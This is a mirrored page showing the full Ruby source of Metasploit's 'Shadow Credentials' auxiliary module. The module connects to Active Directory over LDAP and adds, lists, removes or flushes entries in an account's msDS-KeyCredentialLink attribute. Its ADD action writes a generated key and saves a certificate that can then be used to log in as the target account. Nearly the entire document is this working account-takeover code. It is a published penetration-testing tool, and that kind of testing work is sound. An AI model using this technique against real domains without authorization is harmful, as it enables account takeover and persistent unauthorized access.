Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
77437 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::LDAP::ActiveDirectory
10
include Msf::OptionalSession::LDAP
11
12
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Shadow Credentials',
19
'Description' => %q{
20
This module can read and write the necessary LDAP attributes to configure a particular account with a
21
Key Credential Link. This allows weaponising write access to a user account by adding a certificate
22
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
23
must have write access to the target object (the object specified in TARGET_USER).
24
},
25
'Author' => [
26
'Elad Shamir', # Original research
27
'smashery' # module author
28
],
29
'References' => [
30
['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],
31
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials'],
32
['ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION]
33
],
34
'License' => MSF_LICENSE,
35
'Actions' => [
36
['FLUSH', { 'Description' => 'Delete all certificate entries' }],
37
['LIST', { 'Description' => 'Read all credentials associated with the account' }],
38
['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],
39
['ADD', { 'Description' => 'Add a credential to the account' }]
40
],
41
'DefaultAction' => 'LIST',
42
'Notes' => {
43
'Stability' => [],
44
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options([
51
OptString.new('TARGET_USER', [ true, 'The target to write to' ]),
52
OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),
53
])
54
end
55
56
def validate
57
super
58
59
if action.name.casecmp?('REMOVE') && datastore['DEVICE_ID'].blank?
60
raise Msf::OptionValidateError.new({
61
'DEVICE_ID' => 'DEVICE_ID must be set when ACTION is REMOVE.'
62
})
63
end
64
end
65
66
def fail_with_ldap_error(message)
67
ldap_result = @ldap.get_operation_result.table
68
return if ldap_result[:code] == 0
69
70
print_error(message)
71
if ldap_result[:code] == 16
72
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')
73
else
74
validate_query_result!(ldap_result)
75
end
76
end
77
78
def warn_on_likely_user_error
79
ldap_result = @ldap.get_operation_result.table
80
if ldap_result[:code] == 50
81
if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||
82
datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&
83
datastore['LDAPUsername'].end_with?('$') &&
84
['add', 'remove'].include?(action.name.downcase)
85
print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
86
elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')
87
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
88
end
89
end
90
end
91
92
def get_target_account
93
target_account = datastore['TARGET_USER']
94
if target_account.blank?
95
fail_with(Failure::BadConfig, 'The TARGET_USER option must be specified for this action.')
96
end
97
98
obj = adds_get_object_by_samaccountname(@ldap, target_account)
99
if obj.nil? && !target_account.end_with?('$')
100
obj = adds_get_object_by_samaccountname(@ldap, "#{target_account}$")
101
end
102
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_account}") unless obj
103
104
obj
105
end
106
107
def check
108
ldap_connect do |ldap|
109
validate_bind_success!(ldap)
110
111
if (@base_dn = datastore['BASE_DN'])
112
print_status("User-specified base DN: #{@base_dn}")
113
else
114
print_status('Discovering base DN automatically')
115
116
unless (@base_dn = ldap.base_dn)
117
print_warning("Couldn't discover base DN!")
118
end
119
end
120
@ldap = ldap
121
122
obj = get_target_account
123
if obj.nil?
124
return Exploit::CheckCode::Unknown('Failed to find the specified object.')
125
end
126
127
matcher = SecurityDescriptorMatcher::MultipleAll.new([
128
SecurityDescriptorMatcher::MultipleAny.new([
129
SecurityDescriptorMatcher::Allow.new(:WP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),
130
SecurityDescriptorMatcher::Allow.new(:WP)
131
]),
132
SecurityDescriptorMatcher::MultipleAny.new([
133
SecurityDescriptorMatcher::Allow.new(:RP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),
134
SecurityDescriptorMatcher::Allow.new(:RP)
135
])
136
])
137
138
begin
139
unless adds_obj_grants_permissions?(@ldap, obj, matcher)
140
return Exploit::CheckCode::Safe('The object can not be written to.')
141
end
142
rescue RuntimeError
143
return Exploit::CheckCode::Unknown('Failed to check the permissions on the target object.')
144
end
145
146
Exploit::CheckCode::Vulnerable(
147
'The object can be written to.',
148
vuln: {
149
resource: {
150
ldap_dn: obj.dn
151
},
152
service: report_ldap_service
153
}
154
)
155
end
156
end
157
158
def run
159
ldap_connect do |ldap|
160
validate_bind_success!(ldap)
161
162
if (@base_dn = datastore['BASE_DN'])
163
print_status("User-specified base DN: #{@base_dn}")
164
else
165
print_status('Discovering base DN automatically')
166
167
if (@base_dn = ldap.base_dn)
168
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
169
else
170
print_warning("Couldn't discover base DN!")
171
end
172
end
173
@ldap = ldap
174
175
begin
176
obj = get_target_account
177
178
send("action_#{action.name.downcase}", obj)
179
rescue ::IOError => e
180
fail_with(Failure::UnexpectedReply, e.message)
181
end
182
end
183
rescue Errno::ECONNRESET
184
fail_with(Failure::Disconnected, 'The connection was reset.')
185
rescue Rex::ConnectionError => e
186
fail_with(Failure::Unreachable, e.message)
187
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
188
fail_with(Failure::NoAccess, e.message)
189
rescue Net::LDAP::Error => e
190
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
191
end
192
193
def action_list(obj)
194
entries = obj[ATTRIBUTE]
195
if entries.nil? || entries.empty?
196
print_status("The #{ATTRIBUTE} field is empty.")
197
return
198
end
199
credential_entries = format_ldap_to_credentials(entries)
200
201
print_status('Existing credentials:')
202
credential_entries.each do |credential|
203
print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")
204
end
205
end
206
207
def action_remove(obj)
208
entries = obj[ATTRIBUTE]
209
if entries.nil? || entries.empty?
210
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
211
return
212
end
213
credential_entries = format_ldap_to_credentials(entries)
214
215
length_before = credential_entries.length
216
credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }
217
if credential_entries.length == length_before
218
print_status('No matching entries found - check device ID')
219
else
220
update_list = format_credentials_to_ldap(credential_entries, obj.dn)
221
unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)
222
warn_on_likely_user_error
223
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
224
end
225
print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")
226
end
227
end
228
229
def action_flush(obj)
230
entries = obj[ATTRIBUTE]
231
if entries.nil? || entries.empty?
232
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
233
return
234
end
235
236
unless @ldap.delete_attribute(obj.dn, ATTRIBUTE)
237
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
238
end
239
240
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
241
end
242
243
def action_add(obj)
244
entries = obj[ATTRIBUTE]
245
if entries.nil?
246
credential_entries = []
247
else
248
credential_entries = format_ldap_to_credentials(entries)
249
end
250
251
key, cert = generate_key_and_cert(datastore['TARGET_USER'])
252
credential = Rex::Proto::MsAdts::KeyCredential.new
253
credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
254
now = ::Time.now
255
credential.key_approximate_last_logon_time = now
256
credential.key_creation_time = now
257
credential_entries.append(credential)
258
update_list = format_credentials_to_ldap(credential_entries, obj.dn)
259
260
unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)
261
warn_on_likely_user_error
262
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
263
end
264
265
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
266
stored_path = store_cert(pkcs12)
267
268
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
269
[credential.device_id, stored_path]
270
end
271
272
def store_cert(pkcs12)
273
service_data = ldap_service_data
274
credential_data = {
275
**service_data,
276
address: service_data[:host],
277
port: rport,
278
protocol: service_data[:proto],
279
service_name: service_data[:name],
280
workspace_id: myworkspace_id,
281
username: datastore['TARGET_USER'],
282
private_type: :pkcs12,
283
# pkcs12 is a binary format, but for persisting we Base64 encode it
284
private_data: Base64.strict_encode64(pkcs12.to_der),
285
origin_type: :service,
286
module_fullname: fullname
287
}
288
create_credential(credential_data)
289
290
info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"
291
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', session ? session.client.peerhost : rhost, pkcs12.to_der, 'certificate.pfx', info)
292
print_status("Certificate stored at: #{stored_path}")
293
stored_path
294
end
295
296
def ldap_service_data
297
{
298
host: session ? session.client.peerhost : rhost,
299
port: session ? session.client.peerport : rport,
300
proto: 'tcp',
301
name: 'ldap',
302
info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"
303
}
304
end
305
306
def format_credentials_to_ldap(entries, dn)
307
entries.map do |entry|
308
struct = entry.to_struct
309
dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)
310
311
dn_binary.encode
312
end
313
end
314
315
def format_ldap_to_credentials(entries)
316
entries.map do |entry|
317
dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)
318
struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)
319
Rex::Proto::MsAdts::KeyCredential.from_struct(struct)
320
end
321
end
322
323
def generate_key_and_cert(subject)
324
key = OpenSSL::PKey::RSA.new(2048)
325
cert = OpenSSL::X509::Certificate.new
326
cert.public_key = key.public_key
327
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
328
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
329
yr = 24 * 3600 * 365
330
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
331
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
332
cert.sign(key, OpenSSL::Digest.new('SHA256'))
333
334
[key, cert]
335
end
336
end
337
338